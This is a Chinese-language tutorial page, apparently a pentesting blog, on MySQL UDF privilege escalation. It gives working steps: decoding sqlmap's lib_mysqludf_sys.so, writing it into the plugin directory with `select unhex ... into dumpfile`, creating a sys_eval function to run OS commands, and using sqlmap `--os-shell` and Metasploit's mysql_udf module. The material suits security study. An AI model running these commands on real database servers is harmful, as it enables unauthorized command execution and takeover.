搜索结果

×

搜索结果将在这里显示。

MySQL-UDF提权

MySQL-UDF提权

什么是UDF

UDF:用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

条件

Windows

  • 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin\文件夹下(windows下默认这个目录是不存在的,所以需要有权限创建)
  • 如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
  • 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
  • 拥有可以将udf.dll写入相应目录的权限。

Linux

  • 放到mysql安装目录的lib\plugin\即可
show variables like '%plugin%';

image-20251217164231842

利用过程

上传so或者dll到 plugin

在linux系统中是so文件

在windows是dll文件

linux比较常用,这里拿linux举例

先把sqlmap自带的可执行命令的UDF文件解码

这个脚本在sqlmap的extra/cloak下,自带了

kali的话在/usr/share/sqlmap/extra/cloak

image-20251217170115236

python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_
cd ../../data/udf/mysql/linux/64/

image-20251217170524967

然后把解码的so文件或者dll文件放到目标的plugins目录下

  • 可以用select unhex(...) into dumpfile "/usr/lib/mysql/plugin/lib_mysqludf_sys.so"
  • xxd -ps lib_mysqludf_sys.so可以获取到文件的十六进制
  • 也可以直接上传(如果权限够)

然后进入对方的mysql中操作:

create function sys_eval returns string soname "lib_mysqludf_sys.so";
select sys_eval("id");
-- 删除函数
drop function sys_eval;

简化操作

sqlmap

作为神器,当然是有UDF提权的功能的

python3 sqlmap.py -d mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
python3 sqlmap.py -d "mysql://root:@10.8.194.18:3306/mysql" --os-shell

MSF

很典型的渗透测试框架,对于UDF提权的部分肯定也是支持的

msfconsole
search mysql_udf
show options 

image-20251217194638270

提供对应的参数即可利用了

image-20251217194729640

请先 登录 再评论
收到1条评论
avatar
chuxue 11 天前
UDF利用的条件有点苛刻 ,所以我实际没有用过这个
回复